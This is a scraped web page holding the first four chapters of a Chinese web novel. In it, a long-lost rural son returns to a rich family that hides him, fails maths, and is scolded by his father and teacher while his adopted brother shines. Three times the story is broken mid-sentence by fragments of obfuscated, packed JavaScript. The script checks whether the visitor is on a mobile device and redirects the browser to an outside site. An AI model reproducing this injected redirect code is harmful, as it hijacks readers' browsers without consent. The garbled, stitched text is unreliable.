《万人嫌真少爷想好好学习了》 1. 第 1 章 和李楠一人一边提着废纸篓往学校垃圾站走去。 路上，季珣猝不及防看到路边的男生。 穿着和所有人一样的校服衬衫，却像是动漫里走出来的人物一般，分外惹眼。 他靠在楼梯扶手上，在和另一个男生说话，脸上带着点懒散的笑容。 季珣不自觉脚步一顿。 李楠被贸贸然地拽了一把，疑惑地偏头：“怎么了？季珣。” 这边的动静让靠在扶手上的男生看了过来。 触碰到季珣的目光，他神情微微一沉。 对面的同学也扫过来，见他看着这边，随口问：“你朋友么？” 他别开眼，淡漠地回答：“不认识。” 见季珣站着不动，一起提着垃圾桶的李楠看向季辞，追问了一遍，“怎么了？发生什么事了？” 季珣还记得进学校前父母的再三叮嘱，慌慌张张回答：“我想起我们是不是没倒茶水桶？” 李楠眨眼，“倒了啊。” “那我记错了，我们赶紧走吧。” 说完，拽着垃圾桶和李楠，加快脚步转过拐角，走出他的视线，季珣才松出口气。 李楠被他拽了一路，喘着粗气问：“怎么跑得那么着急？” “没……没什么。” 李楠性格粗线条，也没在意他的慌乱，两人慢慢往前走。 “刚那人不是243班的季辞么，我还以为你认识他。” 季珣赶紧否认，“我不认识季辞。” “也是，人家是校草，是学神，是多少人心中的crush。从三中牛逼到整个南城，你这么个乡下回来的转学生，怎么可能认识。” “都是人，你说差距怎么能这么大呢，你也看到了，季辞长得帅，还有钱，不学习都能次次考年级第一。”李楠的酸水都快淌到路上了，“你就说这种男生，谁不喜欢，谁不爱？要不然怎么说男女通吃呢。” 季珣在想事情，走神了一瞬才问：“什么叫男女通吃？” 李楠挥挥手，“你不懂就算了。” “哦。” 和李楠回到教室，放好垃圾桶，回座位坐下。一眼就看到桌上摊开的数学卷子上的鲜红数字，季珣心里顿时咯噔一下。 昨天进行了一次数学随堂测验。 原来的乡下高中还没开始上高三的课程，但三中已经全上完了。 考的时候，季珣就知道不好。 批阅出来，果然如此。 前排，李楠也在哀嚎：“完了完了，考这么点，又要混合双打了！” 他回过头，看到季珣的分数，眼珠子都瞪出来了，“什么情况？三十二？” 诧异的一声让周围的同学纷纷侧目，都想看看，哪个人才一百五的满分能考三十二。 季珣瞬间羞红了脸，低着头不敢看周围，却还是能感觉到落在身上的讥诮的目光，听到周遭的小声议论。 “三十二？是人否？” “选择题随便选选也能拿三十二吧。” “这张卷子是挺难的。” “难只是你难好吧，照样有人拿满分。” “我嘞个豆，后面的大题那么难还能拿满分？” “我也听说了，243的季辞做了一个半小时就交卷走人，然后满分。” “季辞啊，那没事了。” 季珣看着自己画满红叉的卷子，想起李楠刚刚那句话。 同样是人，差距怎么那么大。 同样是爸爸妈妈的儿子，自己和季辞，却好像隔着天堑鸿沟。 - 三中是南城生源最好的重点高中，学校为了给这些优秀学生更多的自主学习时间，即便进入高三，也没有硬性要求上晚自习。 但季珣学习进度落后，刚转到三中，就开始坚持留在学校上晚自习。 虽然不是所有学生都上晚自习，但学校还是安排了辅导老师，学生有不懂的，可以问。 十点，下晚自习，坐公交回到城东的季家。 推开别墅花园的铁门，意外的，季珣看到巨大落地窗里亮着灯，往前走，听到钢琴的旋律如水般从光亮里流泻出来。 难道是爸妈回来了？ 季珣心头一跳，加快脚步，推开客厅的门，钢琴曲也刚好结束。 客厅的沙发上坐着一对中年夫妇。 女人保养得非常好，皮肤光滑白皙，一丝鱼尾纹都看不到，穿着黑色的连衣裙，是季珣的母亲，苏曼。 男人穿着笔挺的黑色西装，鼻梁上架着金边眼镜，看过来的冷沉目光里带着上位者的威严，是季珣的父亲季达强。 水晶吊灯自挑高的屋顶垂坠而下，光洁的大理石地面上铺着厚密雪白的地毯。 宽敞客厅的一角，放着一架质感高档的黑色钢琴。 凳子上，眉目俊朗的男生弹完一曲，开始整理衬衫衣袖。 母亲苏曼站起身，走到他身边，亲昵地扶着他的肩膀，“阿辞的钢琴弹得越来越好了。” 季辞笑了笑，“妈，我都好久没练琴了，会不会是你好久没听的原因？” 苏曼慈爱地解释，“怪妈妈，最近生意太忙了，总是要出席各种生意场上的晚宴。” 季辞关切地开口：“你们别太累了。” 苏曼欣慰地摸了摸儿子的脸。 旁边，沙发上的父亲季达强开口：“有合适的晚宴你就跟我们去，毕竟明年你就大学了，要学着接手一些公司的事务。” 季辞微笑，“我都听爸的。” 他们三个说着话，季珣只能背着书包，默默站在旁边。 季珣原本是个在乡下生活的孤儿，十几天前，季家父母来到乡下，说自己是他们失散十八年的亲生儿子。 因为没有父母、没有家，十八年来，季珣一直过着忍饥挨饿的生活，每天吃不饱，穿不暖。 没想到，自己有一天也能找到父母，也能触碰到那份深埋在心底、梦寐以求的亲情。 见到父母的那一天，季珣哭得泣不成声。 之后，季珣紧张又期待地跟着爸妈回到了南城。 踏进季家的别墅，看到一个迎面走来的高大帅气的男生。 季珣这才知道，原来在失去自己后，父母收养了一个孩子，季辞。 季辞优秀帅气，走到哪里都是令人瞩目的对象。 季珣却从小在乡下长大，怯懦胆小，和他们就像两个世界的人。 因此，季家夫妇慎重考虑之后，暂时没有公开他的存在，也没让他回到季家的户口本。 把他转进南城三中时，也曾反复提醒：“不允许在外面透露自己父母的名字，更不能让你们学校同学知道季辞是你哥。” 所以，今天在路上遇到季辞，他才会假装不认识。 和季辞说完话，季达强才注意到刚回到家的亲儿子季珣。 尽管季珣回到季家已经一个月，季达强还是没办法接受，自己的亲生儿子是这样一个又笨又胆小的玩意儿。 简直毫无前途， 看着就让人心烦，男人往水晶烟灰缸里抖了抖雪茄的烟灰，抬眼瞪过来，“杵着干什么？不会叫人么？” 季珣有些害怕，握着肩上的书包带，走到沙发跟前：“爸妈。”又抬起头，看向从钢琴旁走来的男生，喊他：“哥。” 男生仿佛没听到，没什么神情，也没看季珣，侧头和季达强说：“爸，我学习去了。” 季达强点头，“去吧。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154560|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季珣的视线忍不住追随着走上二楼的男生。 长得帅气，成绩优秀，还那么有礼貌。 世界上真的有这么完美的人么？ 想着，听到父亲季达强冷肃的诘问：“怎么这么晚才回来？” 季珣低着头回答：“在学校上晚自习。” 父亲季达强冷笑，“上晚自习？我看你是在学校里胡作非为吧？” 季珣顿时紧张起来，小声辩解：“爸，我没有胡作非为，我真的是上晚自习。” 父亲显然并不相信这句，开口便是责备：“考这么点分，你有一点读书的样子么！” 季珣心里霎时有些慌乱。 爸爸知道自己的考试成绩了么？ 怎么知道的？ 一看到他这副局促畏葸的模样，季达强就火大。 自己行事果断，雷厉风行，如果不是有亲子鉴定，他简直不愿意相信这儿子是自己亲生的。 “在乡下就是个游手好闲的混混，来到南城，看到满地好玩好吃的，心飘了是么？别怪我没提醒你，虽然我季达强有的是钱，但不会给你随意挥霍的！” 季珣吓得退了一步，“我知道了。” 季珣知道，自己来南城花了爸妈很多钱了。除了转到三中的择校费，还买了两套校服，充了够自己吃整整一个月的饭卡。 甚至，因为觉得自己以前的衣服比乞丐都破烂，爸妈还给自己买了好几件新衣服和新的书包。 自己真的花了他们太多钱了。 季达强捏灭雪茄，“还好没暂时没让人知道我们已经把你找回来了，要是老大老三知道我有这么个废物儿子，我在季家人面前还抬得起头么。” 季珣不断地低头，恨不得找个地方把脑袋埋进去。 “好了好了，教训几句够了。”苏曼出声安抚自己的丈夫，“你也知道他以前没好好读书，考这么几分也没办法，找都找回来了，还能怎么办，慢慢来吧。” 季达强压下火气，不想再看这个儿子，“还不赶紧上楼看书去。” “爸妈，我先上去了。” 季珣背着书包，低着头快步走上二楼，钻进自己房间，才觉得绷紧的身体缓缓松弛下来。 这个房间位于楼梯口，原本是堆放杂物的房间，季珣回来后，清理出来作他的房间。 那天，管家王叔抱歉地说：“条件不是很好，但现在没有合适的房间了，小珣你先住着，以后有合适的再给你换。” 可是，季珣明明已经觉得超级好了。 以前的他根本没有住的地方，刚人贩子被丢到乡下的时候，他和一个八十岁的聋哑老人生活在一起。 那个小院四面土墙都已经是残垣断壁，房子四处漏风，老鼠到处乱窜。 有一次，在他睡梦中，老鼠把他的脚趾咬破了。 即便如此，那也是他的避风港。 直到那个小院子倒塌，也带走了聋哑老人。 他失去了唯一的陪伴，只剩下帮老人看病的一身债务。 十五岁的季珣被政府收留在一间小仓库里，虽然不用再经受风吹雨淋，但那个小仓库漆黑潮湿，除了一张硬板床睡觉，一个土灶做饭之外，什么都没有。 眼前的小房间，到处都是干干净净的，床上铺着柔软的床品，躺上去的时候好像云朵包裹着自己。书桌光滑，还有台灯，照着书本，每个字都清清楚楚。 能住在这样的房子里，他真的很开心。 他知道，爸爸对自己严厉，是因为自己考试没考好。 因为比起季辞，自己实在太差劲了。 现在，不用为吃穿发愁，还可以专心读书。自己应该好好听爸妈的话，努力学习，再也不让他们生气。 2. 第 2 章 季珣拿出课本，在书桌前坐下。 以前的乡下高中都是按部就班的上课，但三中是南城的重点，高二就把高三全部课程学完，高三一年就是往死里考试。 语文、英语靠日常的累积，不至于太糟糕，数学物理一类的理科科目，没学过的就不会。所以季珣这次数学小测验才会这么糟糕。 埋头学习到深夜，季珣才拿了当作睡衣的短袖短裤，准备洗澡。 这个房间没有卫生间，要出去，走到走廊尽头的公共浴室。 经过季辞的房间门口，地上门缝透出一线光亮，季珣想起，他站在学校走廊里和朋友说话，坐在光亮的钢琴前演奏的模样。 每个画面都明亮，耀眼。 李楠他们都说，他不学习也能考第一，季珣没想到这么晚他房间还亮着灯。 季珣忍不住驻足，屏息凝神，试图听听里面的动静。 正听着，房间门突然打开。 灯光和身影一起从高处铺来，笼到身上。 季珣呼吸一滞，仰起头，看向房间里走出来的男生。 对方脚步一顿，不满地拧住眉峰，“你在干嘛？” 季珣刚回到季家不到十几天，这段时间，彼此连话都没说过几句。 季珣窘迫地攥紧手里的衣服，“我……只是想看看你。” 似乎对看看自己这个理由不满，他眉头愈紧，片刻后松开，默不作声地朝一楼走去，应该是要去拿东西。 季珣悄然舒出一口气，转向浴室方向，脚步一动，又听到身后传来：“等等。” 回头，季辞站在楼梯口，问：“今天在学校遇到，你想干什么？” 今天和李楠去倒垃圾遇到他，差点让人看出两个人的关系。 季珣赶紧解释：“我一时忘记了。” 季辞表示怀疑，“不是故意的？” 季珣紧张地往前两步，“我真的不是故意的，哥你别生我的气，好么？” 也不知道是不是季珣的道歉足够诚恳，他默了默，没有继续质问，“以后别再给我搞这出。” 季珣赶紧点头答应，“嗯。” 他转身，季珣听着脚步声走到了一楼，心里松了口气。 第一次在学校遇到他，几乎忘记爸妈的交代。 希望哥哥没有生自己的气。 - 第二天，季珣洗漱完，穿好校服，背书包下楼的时候，看到季辞正坐在花纹奢华的大理石餐桌前，边吃着早餐，边翻动着手里的笔记本。 站在旁边的管家王叔看到季珣，笑着招呼：“小荀，起床了？一起下来吃早餐吧。” “谢谢王叔。” 虽然和季辞同在三中读书，但为了不让学校同学知道彼此关系，两个人从不一起上学。季辞每天由王叔送到学校，季珣则自己坐公交。 季辞走得早，季珣每天下楼，餐厅里就只剩留在桌上的早餐，和空荡荡的餐桌。 没想到今天能遇到他，季珣抑制着雀跃的心情，走到餐桌前坐下。 以前，别说吃早餐，王大爷去世后，他就再也没和人一起吃过饭。 回到季家这段时间，爸妈不回家吃饭。别墅也足够大，和季辞很少碰面。 他每天回到家，都是一个人吃完留给自己的有些发冷的饭菜。 王叔忙去了。 两个人的餐厅，不时响起纸张翻动的声音。 季珣默默吃着早餐，小心地觑向对面。 季辞翻阅着笔记本，好似完全不在意到来的人。 他是不是还在因为昨天的事生自己的气？ 自己要不要再次和他道歉？ 季珣想着，早餐吃得心不在焉。 其实不像同学口中所说，他不学习也能考第一天。 他很努力，不但晚上学习到很晚，早餐时间也都在看书。 这个世界，本来就是付出才能收获。 季辞专注地翻看着笔记本，端起桌上的果汁杯喝完，然后漫不经心地咬着吸管。 季珣用余光觑了他半晌，踟蹰片刻，才起身走到对面，抱起果汁壶，替他把放回桌面的空杯子填满。 果汁汩汩落下。 男生终于从笔记上抬起眼。 触碰到他的视线，季珣略感窘迫地抱着饮料壶，僵硬地杵着。 以前的他，没有朋友，更没有亲人。 只有那个一直卧病在床的哑巴王大爷。 等到王大爷被倒塌的土墙院子砸死后，他身边就真的一个人都没有了。 所以，他也不知道该怎么和亲人相处，该怎么让生气的亲人开心。 季辞的脸上看不出什么神情，凝注季珣片刻，开口：“可我已经吃完了。” 他起身走到柜子前，打开柜门，从里面拿出一只只颜色各异的瓶子，不断往掌心倒出药丸后，就着温水仰头，吞了满满一把药。 季珣没看到过有人吃那么多药的，睁大眼睛，吃惊地看着他吞下药片，然后招呼王叔。 王叔从储藏室走出来，套上西装，准备送他去学校。 看到站在旁边的季珣，王叔脚步一顿，询问：“要不要让小荀和我们一起去学校？” 王叔知道季家夫妇的安排是暂时不暴露季珣的身份，补了一句，“可以让他在快到学校的地方下车。” 话还没说完就被季辞打断：“爸妈说，让他自己来。” 王叔看了季珣一眼，拿上车钥匙往外走去。 餐厅再一次空下来，只剩那杯倒好的饮料和季珣一个人。 - 一个人吃完早餐，来到学校，晨读还没开始。 教室的氛围还很松弛。 旁边的李楠抱着手机在各个平台刷着学校的八卦消息。 “不是吧，三中八卦博上有人爆料，在教师办公室偷听到，下周就要进行一模了！这就是高三的威力！” 高三就是和考试为伴。 李楠握起拳头，激情呐喊：“不慌！乾坤未定，你我皆是黑马！” 随即一个转折，“我去！今年高一新生有高质量美女哦。这个琪琪长得好像大幂幂！” 声调再次提升，“哇，这个八卦劲爆。” 连季珣都好奇起来，“什么八卦？” “你不是知道243班的季辞么？” “呃……”季珣点头，“我只知道名字。” 季珣没手机，李楠把屏幕举到他面前，“你看，有人爆料，今天一早，有个成立高中男生跑到鹅湖边找季辞，被学校抓到了。” 鹅湖是三中校内的一个人工湖，周边围绕着树林，环境清幽，很适合晨读。 季珣看到照片上，迎着熹微的晨光，一高一矮两个男生面对面站着，穿三中校服的显然就是季辞。 即便隔得远，画面没那么清晰，也让人觉得，那道身影的挺拔修长。 季珣抬起头，不解地问：“成立的学生为什么来找季辞？” “跑来跟季辞告白啊。” 什么？是李楠口误，还是自己耳背？ 季珣迷茫眨眼，“男生……向季辞告白？” 李楠一脸淡定，“就是男生。” 看季珣的表情，李楠就知道这乡下回来的少爷还是见识太少，啧啧几声，“你以前的生活太单纯了，对于南城这样繁华的城市，这种事正常得很，你也不看看季辞是什么人。” 季珣眨眼，“季辞是什么人？” “说过了啊，出类拔萃，男女通吃！表白博上，每天都有人跟他告白。八卦博里，每天都有爆料谁追他！” “哎，喜欢他的美女，排起来能绕三中一圈。” 原来，李楠之前的男女通吃是这个意思。 “不过，好像没听说他和谁谈过。别说，能追到季辞，成绩包提升的。” 听着李楠的八卦，季珣忍不住轻声说：“能被那么多人喜欢，真好。” 李楠撇了撇嘴，“那可不，人帅，有钱，智商还得跟鬼一样，当然大家都喜欢。” 季珣不知道被人喜欢是什么感觉。 因为他从来没有感受过。 - 八卦之所以是八卦，就是因为错不了。 一模如期而至。 模拟考是整个南城统一考试，整栋高三楼被紧张的考试淹没。 上次小测验考砸是因为没有跟上课程进度，这段时间，季珣一直在努力自学相关的知识点。 季珣相信自己会有进步。 其实，他在原来的乡下高中，没有那么糟糕。 那是一所职中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我知道，你和少爷走得挺近的，人家是不是天天请你吃饭啊。” “估计没有，都说少爷出身豪门，但我看着寒酸，估计挺抠门的。” “你们……你们……”李楠想反驳，被几张嘴巴堵得出不了声。 听到李楠因为自己被嘲讽，季珣再也忍不住，推开教室门，“你们为什么要这样乱说。” “为什么污蔑别人。” “我也是择校生。” 攥紧手指，鼓起全身的勇气，季珣才把这几句话说完。 说出那些话语的是两个男生，一个女生，正好就是班里那三个总是玩在一起的择校生。 见季珣进来，三个人交换一波眼色，篾斜过来，“我们说错了么？不是自己考的分数么？” “三中可不是什么阿猫阿狗都能来择校，不走正道就麻烦低调点，夹着尾巴做人！” “有钱又怎样，三中最不缺的就是豪门少爷，隔壁班季辞还没说话，在这里跟我们装上了？” 季珣满腹的委屈，自己明明和他们是一样的，却被传成二十万走后门。 很想辩白，但三人又开始你一言我一语，聒噪又尖锐。 而且，想到自己一模成绩依旧不理想，季珣就满心的难过。 李楠走过来，搭他住肩膀，“算了算了，不跟傻逼们较长短。” 三个人还想咋呼，晨读铃声响起，一脸蔑意地翻了个白眼，散开了。 看了半天戏的同学们也纷纷拿书、翻页。 朗朗读书声刚响起。 季珣走到座位，桌上没有成绩条。 三中的考试成绩会用成绩条发到学生手里，上面有各科分数还有班级学校排名。 季珣看大家的成绩条都还没发，自己被择校生们嘲讽数学五十三分。 一定是因为分数太低，都传遍了。 心底正一片凉意。 班长何旺从教室外走进来，高声喊：“季珣。” 读书声低了一瞬。 何旺看向座位上正要坐下的季珣，“老张让你去他办公室一趟。” 3. 第 3 章 223班的班主任兼数学老师叫张晖，外号老张，大爷。 这个时间点叫人去办公室，外加传出来的五十三分。 几个择校生又是一脸得意地扫来。 “哦。”季珣窘迫地站起身，往教室外走去。 高三年纪的教师办公楼是单独一栋。 季珣走得满心忐忑。 这段时间他很努力，每天除了晚自习上多问问老师同学，回到家也会学到很晚。 因为他真的很想进步，很想让父母和哥哥知道，自己虽然在乡下长大，有很多不足，却是真心的想成为他们的好儿子，好弟弟。 三中是老牌名校，高三年级十二个班的班主任还坐在一间办公室里。 季珣走到门口，就听到班主任张晖满怀羡慕的声音：“季辞还是一如既往地发挥稳定啊，又是总分年级第一，王老师你有这位得意门生，今年高考的奖金已经提到揣兜里了。” 243的班主任王灿发出愉快爽朗的笑声，“我们都是老教师了，都知道对这些优秀学生来说，老师只是辅助，主要还是靠自己，季辞是读书的料，谁教都能教好。” 张晖气道：“你看我们班，没有学神就算了，还尽转来一些学渣，气得我高血压都犯了。” 季珣知道老师口中的学渣是谁，心跳都快了起来，脚步也在门口迟疑着。 自己连续两次都考得这么差，拖了班级的平均分，张老师一定很生气，一定很讨厌自己。 正准备调整一下呼吸，走进办公室。 “你哪个班的？在门口干什么？”背后传来严肃的质问。 张晖和王灿一起看过来。 看到自己班的转学生杵在门口，还被别班老师审问，张晖的神情霎时有点不太好，“季珣，你在干什么！来了怎么不进来！” 这个转学生，先不说成绩，做事也总是缩手缩脚，一点都不大方，给自己丢人。 季珣紧张的蜷了蜷手指，走到张晖跟前，“张老师。” 中年男人把一份表格丢到桌上，“自己看看吧。” 季珣看到，表上是整个年级的一模成绩，第一个名字就是季辞，跟在后面的成绩，除了数学依旧满分，其他课程也几乎接近满分。 这样的分数，就好像放着光一样。 季珣都不敢多看，赶紧往后翻动，在最后一页找到了自己。 其他科目还行，但数学53。 比上次高，可在前面那些数字的映衬下，还是显得那么惨烈。 落下的课程，不是一天两天能补上的。 看到转学生低头盯着分数，垂在身前的手指局促地掐着，张晖只能在心里叹惋，自己之前真没看错，这学生，没前途的。 当初这个转学生转来时，张晖就不太想收。 一个家境优越的孩子为什么会在乡下长大，或许是想让孩子体验生活，或许是什么全新的自然教育理念。 张晖本意并没有嫌弃乡下学校，乡下学校和城市学校的教育存在差距是客观事实。 他介意转学生的地方是这个孩子学习态度不端正！ 从初中开始就老是缺课，三天打鱼两天晒网。 听说这件事，张晖当场就和校领导表明了拒绝的态度，但学校态度强硬。 张晖心里不满，也只能接受。 来到223班，虽然转学生没有缺课，但第一次小测验和这次一模，他把张晖教的数学平均分拉成了全年级垫底。 让张晖认定，这学生仗着自己家庭情况好，心思根本不在学习上。 “你的心思到底在不在学习上！”张晖严肃地质问：“还想不想学好！” “张老师，我想学好……” 季珣小声开口想解释，却被打断，“既然你不想学，那没必要来教室里坐着，影响整个班级，影响同学！” 季珣知道自己拉了班级平均分，惶然地绞着垂在身前的手指，“对不起，张老师。” “我实话跟你说，三中培养的都是名校学生，国家栋梁，像你这么糟糕的学生，三中还没出过。” 扫到旁边的王灿，张晖继续教育：“你家境再好，有季辞家好么？你看看人家是怎么学习的？别人是德才兼备，你呢？” 滔滔不绝说教了半天，转学生依旧低着头不说话，张晖顿时更怒了，连点回应都没有，让自己白费口水是吧？ 站着缓了半天，才告诉自己，你要为人师表，压下满腹的火气。 “你父母知道你转学后的学习情况么？对你的成绩是什么态度？” 转学生抬起头，轻声回答：“张老师，我……不知道。” 这不着调的回答让张晖的音量重新提了起来，“不知道？什么叫不知道？你这是什么态度！” “我的意思是，我不知道他们知不知道。” 季珣真的不清楚，爸妈知不知道自己的学习状况。 来到季家一个多月，只在家里见过他们两次，一次就是来的那天，一次就是上次小测验后。 那天，父亲季达强骂了自己。 季珣当时很害怕，可是过后想想，觉得父亲是因为关心自己，才会骂自己。 以前在乡下的时候，不管自己考多少分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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旁边是老师的笑声，季珣低头盯着桌上的纸笔，只觉得背脊发冷，脸颊却滚烫。 自己该怎么办？ 僵持间，旁边突然响起一道熟悉的温和声线，“张老师。” 季珣抬头，看到季辞不知道什么时候进来的，正站在旁边，面带微笑，对张晖说道：“不好意思，打扰一下，我知道季珣同学家在哪里。” 4. 第 4 章 季珣茫然地看着，不知道季辞的意思。 他说他知道我家在哪？ 难道他要告诉老师自己和他的关系？ 季辞成绩优秀，常年霸榜三中，像这样优秀的学生，即便不教，也没有老师不喜欢。 张晖露出和蔼笑脸：“季辞同学，你是要告诉我，我们班季珣同学的家在哪里么？” “是这样的，我和季珣同学是邻居，我们住在同一个小区。” 季珣一怔。 张晖了然地点头，“原来你们两是邻居啊。” 全校都知道季辞家境好，和这个富二代转学生住一个小区丝毫不奇怪。 季辞大方又有礼貌，“既然季珣同学不愿告诉您他父母的电话号码，那这件事就交给我好了，我回家的时候，去他们家一趟，请季珣同学的父母主动联系您。” 成绩优秀，尊敬师长，还这么热心。 张晖都忍不住在心里赞叹，季辞这个学生，没有一点缺点啊。 甚至让张晖都含蓄起来，“这样会不会耽误你？” 季辞笑着摇头，“不会的，顺手的事。” 高三的教学任务本来就很重，家里的孩子都顾不太上，再去家访确实是加重工作负担，能这样解决再好不过。 张晖看向季珣，“季珣同学的学习态度问题很大，我身为班主任，确实需要和他父母沟通一下，帮助他纠正问题！” 季辞落落大方地给老师保证，“确实应该沟通，张老师您放心，我肯定把事情告诉季珣同学的父母。” 他是三中最优秀的学生，还是学校学生会的主席，帮助学校承担一些活动的组织任务。 他的能力，让所有老师信任。 243班的班主任王灿开口：“老张，季辞做事你放一百个心。” 张晖点头，“那就麻烦季辞同学帮我跑一趟。” “我一定带到。”他礼貌地跟两位老师说道：“那张老师、王老师，没什么事的话我就先回教室了。” “你去吧。” 笑着目送季辞走出办公室。再看自己班的学渣，怎么看怎么不顺眼。张晖挥手，“还不赶紧回去上自习！” 季珣逃也似地走出教师办公室，听到身后飘来张晖和王灿的吐槽，“我就不明白了，住同一个小区，同样姓季，怎么一个天上，一个地下呢。” - 晨读时间已经开始，到处都弥漫着郎朗的读书声。 和煦的朝阳洒满校园。 走出教师办公楼，周围明明没有人，季珣却只敢低着头，不想遇到探究的目光。 高三这个全力以赴冲刺的关口，被叫到老师办公室教育，在这所重点高中，简直是异类。 自己怎么能笨到这个程度。 可是，前面那个人却能轻轻松松做好所有的事。 刚刚在老师办公室里，如果不是他，自己不知道该怎么脱困。 这是父亲季达强对自己说过的话：我们已经全都安排好，你要做的事就是读好书。在学校里，我们不是你的父母，季辞也不是你的哥哥。你不许和任何人提到我们。 他本来可以当做没看到，但还是出声替自己解围。 他不怕被老师知道和自己的关系么？ 季珣满脑子疑惑，沿着篮球场往前走。 余光里，前面挺拔的身影像阳光下肆意生长的白杨。 尽管是父母的养子，但他成绩优异、出类拔萃，自己却那么笨拙，让父母失望。 在父母眼里，自己和季辞，就是天上和地下。 各种念头在脑子盘桓，季珣失神地往前走着，直到被蓦然传来的声音呵止：“你要跟到什么时候？” 季珣抬头，看到季辞停下脚步，回头盯着自己。 和煦的旭日铺在他的面容上，五官轮廓锐利清晰、身形修长挺拔，站在那里，就像一副精心绘制的画。 但神情有些冷。 季珣回过神，意识到自己竟然不知不觉跟着季辞，从教师办公楼走到了图书馆门口。 自己不应该在学校接近他。 慌张地环顾周围。幸好是晨读时间，图书馆周围空无一人。 季珣局促地解释：“哥，我是想跟你说声谢谢。” 季辞蹙眉，“说谢谢？” “刚才如果不是你，我不知道该怎么做。” 季辞的目光停留在自己面容上，带着忖度和打量，片刻后，唇角抬起一个弧度，他慢吞吞地说道：“虽然我们的关系不能让别人知道，但我们毕竟是兄弟，不是么？” 季珣茫然地看着他。 兄弟。 自己是季家夫妇的亲生儿子，季辞是季家夫妇的养子，尽管自己还没回到季家的户口簿上，但彼此就是兄弟。 可是季辞太过优秀耀眼，让季珣有种和他身处两个世界的感觉。 对面的男生微敛着眼睑，视线停留在这个方向。片刻后，状似关切地问：“一模还是没考好么？” 那天，他看到爸爸批评自己，肯定已经知道自己小测验没考好。 现在，自己一模也没考好。 季珣羞赧地捏着手指，解释：“其实，是因为有很多知识点我没学过。” “乡下就是这样吧，慢慢来。” 这句近乎安慰的话，在季珣心里激起阵阵涟漪。 他记忆中，没有人会这样温和的鼓励自己，忍不住往前走近一步，保证一般对他说：“我会努力的。” 对面的男生带着笑意，“可三五十分，我有点好奇，你在乡下都学了些什么？” “乡下很多孩子要帮家里做干活，所以，我们课程学得很慢。” 他问：“学到哪里了？” “高三的都没有学过，不过，我有自学。” “自学了些什么？” “计数原理与概率统计，还有圆锥曲线，但是有很多……”季珣正在认真地告诉他，还没反应过来发生了什么，就看到季辞的目光落到了自己身后。 随后蹙紧剑眉，略带不耐地沉下脸色。 “知识点不懂……”季珣话还没说完，看到季辞一言不发地转身离开。 回头，才注意到，原本空无一人的图书馆门口，有两个女生正兴奋地朝这边张望，议论。 “到底是不是季辞啊？” “走得太快，没看清楚，好像是。” “如果是的话，赶紧看一下，和他说话的那个男生是谁？” 听着这些话，季珣赶紧低头离开，慌慌张张地跑开。 直到彻底脱离两个女生的视线，才松出口气。 两个人应该没有看清自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154563|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可是，还是满心懊恼。 自己怎么那么笨，怎么能在学校里和他说话。怎么能让大家发现季辞弟弟的存在呢。 - 回到教室的时候，马上就要上第一节课，看到季珣走进来，三个择校生眉飞色舞地往这边瞥了几眼。 开始聊自己的八卦。 名叫何岚的女生说：“要说三中有钱还得是季辞家。” 另一个名叫蒋恪知的男生细声细气地接话：“不过人家不用靠家里啊，过段时间，庆大、中北都要开始提前择优了，他这成绩，庆大、中北肯定都会抢着要啦。” 何岚说：“那肯定啊，哎，毕业前能不能追到他，让他当我男朋友啊。” 蒋恪知很不满地反驳：“有没有可能，他才不会喜欢你的。” 何岚也不服气，“哼，反正他没谈，我就有机会！” “大家都有机会。” 三个人家境都很不错，看得出学习成绩对他们并不重要。 肆无忌惮的聊天里，季珣讷讷地坐回座位。 李楠侧头，投来同情的目光，“考得很糟糕么？” 季珣无奈回答：“数学不太好。” “我看你最近很努力啊。怎么还是没进步？会不会是方法不对？”李楠叹息了半天，出了个主意，“要不你请个家教吧？” “家教？” “对啊，我知道你其实是有基础的，只是因为课程进度没跟上，自学毕竟还是不行，找个名师辅导一下，肯定提升很快，” 家教。 在乡下时，身边几乎没有同学请家教，季珣也从来没想过。 李楠继续说：“不过现在管得严，名师可不好找，就算有也贵得很，我之前高二下学期请的那个，就普通的辅导老师，一个小时要八百多的补习费，稍微有点名气就得上四位数。” 季珣吃了一惊，“四位数？” “别大惊小怪，正常价格好吧。” 李楠劝说：“你家庭条件好，赶紧找个名师辅导一下。” 季珣知道，自己考不好数学很大原因是课程进度没赶上。即便自学，理解得也不够深入。 如果能有老师再细致讲解一遍，效果肯定会很好。 但…… 四位数的天价补习费，简直让他难以想象。 自己吃穿住都是父母在供，怎么还能提出这样过分的要求。 垂下眼，迟疑道：“可这么贵，我真的可以对爸妈提这样的要求么？” 李楠一脸不解：“对爸妈还有什么不能提的？” 